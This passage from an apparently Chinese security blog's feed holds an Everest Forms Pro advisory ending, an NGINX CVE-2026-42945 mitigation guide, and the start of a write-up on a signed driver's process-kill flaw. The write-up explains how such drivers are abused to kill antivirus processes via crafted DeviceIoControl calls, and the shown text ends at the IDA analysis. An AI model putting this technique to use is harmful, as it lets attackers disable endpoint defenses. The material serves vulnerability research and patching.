leaf=&quot;&quot;&gt;数据库异常&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;第四优先级&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;部署：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;WAF&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;安全插件&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;登录保护&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;总结&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这是一个典型案例：&lt;/span&gt;&lt;/p&gt;&lt;blockquote style=&quot;margin: 0px 0px 1rem;padding: 0px 1em;color: rgb(89, 99, 110);border-left: 0.25em solid rgb(209, 217, 224);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;p style=&quot;font-size: 1em;margin: 0px 1em;padding: 0px;font-weight: normal;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;一个原本用于收集用户数据的表单插件 因为错误执行用户输入 最终变成攻击者执行代码的入口&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;现在的问题已经不是：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;漏洞会不会被利用&amp;quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;而是：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;攻击者什么时候扫描到你的网站&amp;quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果你仍在运行旧版 Everest Forms Pro。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;现在最重要的事情只有一件：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin-top: 0px;margin-right: 1em;margin-bottom: 0px !important;margin-left: 1em;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;立即升级。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mq2l27p2-uwgd2t&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; data-recommend=&quot;&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#Simple&lt;/a&gt;&amp;nbsp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mq2l4c6e-6lxr07&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; data-recommend=&quot;&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#&lt;/a&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, \&amp;quot;Segoe UI\&amp;quot;, \&amp;quot;Noto Sans\&amp;quot;, Helvetica, Arial, sans-serif, \&amp;quot;Apple Color Emoji\&amp;quot;, \&amp;quot;Segoe UI Emoji\&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&amp;quot;,&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;Everest Forms Pro&amp;nbsp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mq2l53bq-aiheqm&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; data-recommend=&quot;&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#&lt;/a&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, \&amp;quot;Segoe UI\&amp;quot;, \&amp;quot;Noto Sans\&amp;quot;, Helvetica, Arial, sans-serif, \&amp;quot;Apple Color Emoji\&amp;quot;, \&amp;quot;Segoe UI Emoji\&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&amp;quot;,&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;WordPress&amp;nbsp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mq2l55gq-cuyujs&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; data-recommend=&quot;&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;color: #1F2328;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: #FFFFFF;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CVE-2026-3300&amp;nbsp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mq2l5h1f-lrbiov&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; data-recommend=&quot;&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#漏洞&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Tue, 23 Jun 2026 09:55:15 +0800</pubDate></item><item><title>紧急！全球 1/3 服务器中招：NGINX 漏洞应急与缓解指南</title><link>https://www.7x0.cn/post/31.html</link><description>&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;- &lt;strong&gt;漏洞编号：&lt;/strong&gt;CVE-2026-42945&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;- &lt;strong&gt;严重程度：&lt;/strong&gt;🔴 Critical (9.2) / High (8.1)&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;- &lt;strong&gt;影响组件：&lt;/strong&gt;&lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;ngx_http_rewrite_module&lt;/code&gt; (NGINX Open Source &amp;amp; Plus)&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;- &lt;strong&gt;威胁等级：&lt;/strong&gt;极高（无需认证即可触发 DoS，影响全球约 33% 网站）
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;h2 style=&quot;text-align: center;color: #1a1a1a;margin-top: 30px;&quot;&gt;二、 紧急影响面排查&lt;/h2&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;如果您正在运行 NGINX，请立即检查是否命中以下任一条件：
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;strong&gt;1. 版本检查：&lt;/strong&gt;&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;- &lt;strong&gt;NGINX Open Source:&lt;/strong&gt; &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;0.6.27&lt;/code&gt; 至 &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;1.30.0&lt;/code&gt; 均受影响。&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;- &lt;strong&gt;NGINX Plus:&lt;/strong&gt; &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;R32&lt;/code&gt; 至 &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;R36&lt;/code&gt; 均受影响。
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;strong&gt;2. 配置检查：&lt;/strong&gt;&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;在 &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;nginx.conf&lt;/code&gt; 中搜索同时包含 &lt;strong&gt;未命名正则捕获&lt;/strong&gt;（$1, $2）和&lt;strong&gt;问号&lt;/strong&gt;（?）的 rewrite 规则。
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;h2 style=&quot;text-align: center;color: #1a1a1a;margin-top: 30px;&quot;&gt;三、 缓解与修复方案&lt;/h2&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;strong&gt;✅ 方案 A：官方升级（推荐）&lt;/strong&gt;&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;这是最安全、彻底的做法。
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;- &lt;strong&gt;NGINX Open Source:&lt;/strong&gt; 升级至 &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;1.31.0&lt;/code&gt; 或 &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;1.30.1&lt;/code&gt;&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;- &lt;strong&gt;NGINX Plus:&lt;/strong&gt; 升级至 &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;R36 P4&lt;/code&gt; 或 &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;R32 P6&lt;/code&gt;
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;strong&gt;⚠️ 注意：&lt;/strong&gt;升级后必须&lt;strong&gt;重启 NGINX 服务&lt;/strong&gt;以加载修复后的二进制文件。
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;strong&gt;🚑 方案 B：临时缓解（无法立即停机升级时）&lt;/strong&gt;&lt;br/&gt;
 &amp;nbsp; &amp;nbsp;如果业务暂不可中断，F5 官方提供了一项配置级别的缓解措施：&lt;strong&gt;使用命名捕获（Named Captures）替换未命名捕获&lt;/strong&gt;。
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;font-size: 15px;line-height: 1.75;color: #3f3f3f;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;strong&gt;原理：&lt;/strong&gt;命名捕获（如 &lt;code style=&quot;background:#e2e8f0;padding:1px 4px;border-radius:3px;&quot;&gt;(?&lt;name&gt;&lt;/name&gt;.*)&lt;/code&gt;）在 NGINX 内部走的是不同的代码路径，从而完美避开该漏洞的触发条件。
 &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;div style=&quot;background: rgb(244, 244, 244); padding: 12px 16px; border-radius: 6px; font-family: Menlo, Consolas, monospace; font-size: 13px; line-height: 1.8; white-space: pre-wrap; word-break: break-all; border-left: 3px solid rgb(59, 130, 246);&quot;&gt;&lt;strong&gt;# 修改前（危险）&lt;/strong&gt;rewrite ^/api/(.*)$ /proxy?url=$1 &amp;nbsp;last;&lt;p&gt;set $target $1;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;# 修改后（安全）&lt;/strong&gt;rewrite ^/api/(?&amp;lt;myname&amp;gt;.*)$ /proxy?url=$myname &amp;nbsp;last;&lt;/p&gt;set $target $myname;
 &amp;nbsp; &amp;nbsp;&lt;/div&gt;</description><pubDate>Tue, 23 Jun 2026 09:53:34 +0800</pubDate></item><item><title>某想驱动存在任意结束进程漏洞</title><link>https://www.7x0.cn/post/30.html</link><description>&lt;h1 data-layout-id=&quot;0&quot; style=&quot;font-size: 20px;font-weight: 500;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 12px;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;前言&lt;/span&gt;&lt;/h1&gt;&lt;section data-layout-id=&quot;1&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在日常翻看 GitHub 追踪红队前沿武器库时,注意到了 PhantomKiller 这个项目。原理也很简单,利用带有合法数字签名的脆弱性驱动程序(即 BYOVD 漏洞),通过合法的驱动绕过 Windows 的驱动程序强制签名,利用驱动存在在结束进程函数结束杀软,在近几年来,白驱动出现的频率特别高,特别是在那几个知名的apt组织里,像银狐就很爱用白驱动杀某60,似乎他们很爱钻研kill杀软的思路,不过在实际的合法的攻防项目里,可能白驱动不太容易出现,一是很可能造成蓝屏导致业务停止,二是一般来说这涉及到客户真实系统的破坏性,所以白驱动更多的是偏研究性质的东西&lt;/span&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;2&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;仔细研读 PhantomKiller 的思路,它选择的白驱动是某想的驱动,这些驱动虽然有合法的数字签名,但其内部代码在处理应用层发送的 IOCTL&lt;/span&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;3&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;时,没有对传入的地址和数据做严格的校验,直接向应用层暴露了任意结束进程的函数。只要我们在 Ring 3 能够成功通过 CreateFile 打开这个驱动的设备对象,再用DeviceIoControl 喂给它精心构造的控制缓冲区,就能借用这个内核驱动的“结束杀软的进程,虽然一些安全厂商也开始对驱动攻击防护,例如拦截已知的漏洞驱动,拦截驱动加载等 但对于大部分杀软这个方式还是很有效的&lt;/span&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;4&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;不管是在r3或者r0的权限上,实际结束杀软的方式千奇百怪,也发展出了很多r3上的强杀杀软的技术,例如当时的pool注入,com,未记录的函数等技术,但是在r3上,仍然需要面临很多的问题,例如函数被挂钩,虽然r3的钩子很好绕,但是内核的回调函数基本没啥办法,其次常见手段你无法打开edr的进程,很多时候哪怕权限很高,还有就是ppl的防护,更难对付的是一些前沿杀软的elam机制&lt;/span&gt;&lt;/section&gt;&lt;h1 style=&quot;color: rgba(0, 0, 0, 0.9);text-align: center;font-size: 20px;font-weight: 500;line-height: 1.8;margin-bottom: 12px;&quot; data-layout-id=&quot;5&quot;&gt;&lt;span leaf=&quot;&quot;&gt;驱动分析&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-align: start;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;6&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: rgba(0, 0, 0, 0.9);&quot;&gt;可以看到驱动签名来源于某想&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;7&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095216178217953650697.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;687&quot; type=&quot;block&quot; data-imgfileid=&quot;100000156&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;8&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;拉入ida后直接找DriverObject-&amp;gt;MajorFunction[14],也就是sub_140001020&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: 